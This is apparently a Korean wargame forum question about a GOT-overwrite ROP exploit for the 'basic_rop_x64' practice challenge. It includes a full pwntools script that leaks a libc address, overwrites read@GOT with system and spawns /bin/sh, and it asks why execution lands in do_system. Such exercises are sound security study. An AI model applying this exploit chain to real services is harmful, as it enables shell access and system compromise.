완료됨
GOT Overwrite을 이용해서 풀이 중 질문
드림핵에서 제공해주는 return to main 방법 말고 GOT를 Overwrite해서 문제를 풀이해보려고 합니다.
함께실습 Return to Library에 있는 풀이 코드를 그대로 가져왔는데 read@Got의 주소가 system의 주소로 덮어쓰기 되지 않고 다른 함수의 중간으로 점프됩니다.
from pwn import *
#r = remote("host3.dreamhack.games",19628)
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")
r = process("./basic_rop_x64")
rop = ROP(e)
gdb.attach(r)
p = b'A'*0x40 + b'B'*0x8
read_got = e.got['read']
read_plt = e.plt['read']
write_plt = e.plt['write']
write_got = e.got['write']
main = e.symbols['main']
read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
#binsh_offset = list(libc.search(b"/bin/sh"))[0]
poprdi = rop.find_gadget(['pop rdi', 'ret'])[0]
poprsir15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
p += p64(poprdi) +p64(1)
p += p64(poprsir15)+p64(read_got)+p64(0)
p += p64(write_plt)
p += p64(ret) #중간에 rsp의 끝이 8이 아니라서 종료되길래 넣음.
p += p64(poprdi) + p64(0)
p += p64(poprsir15) + p64(read_got) + p64(0)
p += p64(read_plt)
p += p64(poprdi)
p += p64(read_got + 0x8)
p += p64(ret)
p += p64(read_plt)
r.send(p)
r.recvuntil(b'A'*0x40)
read = u64(r.recvn(6) + b'\x00'*2)
lb = read - read_offset
lh = hex(lb)
system = lb + system_offset
r.send(p64(system)+b'/bin/sh')
r.interactive()
중간에 p += p64(ret) # ...rsp의 끝...
이 줄은 다시 생각해보니 system의 주소가 제대로 넘어가지 않아 그랬던 것 같습니다.
왜 system의 주소가 아니라 do_system+688의 주소가 불러와지는 걸까요?
#pwnable
#시스템
#rop
작성자 정보